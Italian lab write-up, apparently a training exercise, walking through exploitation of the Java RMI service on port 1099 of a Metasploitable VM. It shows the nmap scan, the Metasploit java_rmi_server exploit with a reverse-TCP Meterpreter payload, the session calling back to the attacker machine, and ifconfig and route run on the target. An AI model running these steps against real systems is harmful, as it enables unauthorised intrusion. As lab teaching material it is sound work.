Ho una macchina Metasploitable che presenta un servizio vulnerabile sulla porta 1099- Java RMI. Devo sfruttare la vulnerabilità per ottenere una sessione di Meterpreter sulla macchina target.
Per prima cosa utilizzando nmap vado ad eseguire uno scan della porta 1099 per vedere se è aperta.

```
┌──(kali㉿kali)-[~]
└─$ nmap -p 1099 -Pn -sV 192.168.178.72
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-26 05:13 EST
Nmap scan report for 192.168.178.72
Host is up (0.00027s latency).

PORT     STATE SERVICE  VERSION
1099/tcp open  java-rmi GNU Classpath grmiregistry

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 6.49 seconds
```

Poi dopo aver stabilito che la porta è aperta vado ad usare Metasploit. Metasploit è un framework che viene utilizzato nell'ambito di penetrazione della sicurezza informatica e fornisce strumenti (tool) e risorse per identificare, testare e sfruttare vulnerabilità nei sistemi informatici.
Avvio Metasploit scrivendo msfconsole nel terminale, una volta che si è avviato cerco l'exploit che posso usare per sfruttare la vulnerabilità della porta 1099.
L'exploit è un codice o una tecnica utilizzata per sfruttare una vulnerabilità di un sistema software o di un hardware per ottenere accesso non autorizzato, al fine di prendere il controllo di un sistema o di eseguire azioni non autorizzate. Mentre il malware (malicious software) è un termine che si associa a software creati per scopi malevoli, come rubare informazioni o compiere azioni dannose alla macchina attaccata o a quelle con cui comunica senza nessun tipo di consenso. Quindi si può dire che l'exploit serve per eseguire azioni dannose o inviare software malevoli come i malware alla macchina target.
Dopo aver avviato msfconsole cerco la vulnerabilità inserendo parole chiave come il nome del servizio della porta 1099, quindi java_rmi.

```
msf6 > search java_rmi

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry                                 normal     No     Java RMI Registry Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server                2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   2  auxiliary/scanner/misc/java_rmi_server            2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code Execution Scanner
   3  exploit/multi/browser/java_rmi_connection_impl    2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation


Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

Scelgo di usare la n.1 vedendo che è un exploit letto nel path, ha un rank excellent e il check è Yes quindi so che è funzionante, in altri casi si va a tentativi ed esclusione.
Per scegliere di utilizzare l'exploit n.1 scrivo il comando "use 1".
Una volta scelto imposto l'ip della macchina target e controllo con show options se bisogna inserire altri parametri obbligatori.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.178.72
rhosts => 192.168.178.72
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait
   RHOSTS     192.168.178.72   yes       The target host(s), see https://doc
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface
```

Infine avvio l'exploit con il comando "exploit" e una volta avviata la sessione di meterpreter posso eseguire i comandi come se stessi sul terminale della macchina target.
Vado a scrivere il comando "ifconfig" per ottenere la configurazione di rete della macchina target. Questo comando mi da informazioni riguardo l'indirizzo IPv4 e IPv6 e l'indirizzo MAC.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.178.70:4444
[*] 192.168.178.72:1099 - Using URL: http://192.168.178.70:8080/pWIKrbJ
[*] 192.168.178.72:1099 - Server started.
[*] 192.168.178.72:1099 - Sending RMI Header...
[*] 192.168.178.72:1099 - Sending RMI Call...
[*] 192.168.178.72:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.178.72
[*] Meterpreter session 1 opened (192.168.178.70:4444 -> 192.168.178.72:34383) at 2024-01-26 04:36:15 -0500

meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.178.72
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd00::a00:27ff:fe66:be84
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe66:be84
IPv6 Netmask : ::
```

Mentre per ottenere la tabella di routing della macchina target utilizzo il comando "route". Questo comando mi da informazioni riguardante le subnet e netmask della macchina target.

```
IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.178.72  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                    Netmask  Gateway  Metric  Interface
    ------                    -------  -------  ------  ---------
    ::1                       ::       ::
    fd00::a00:27ff:fe66:be84  ::       ::
    fe80::a00:27ff:fe66:be84  ::       ::
```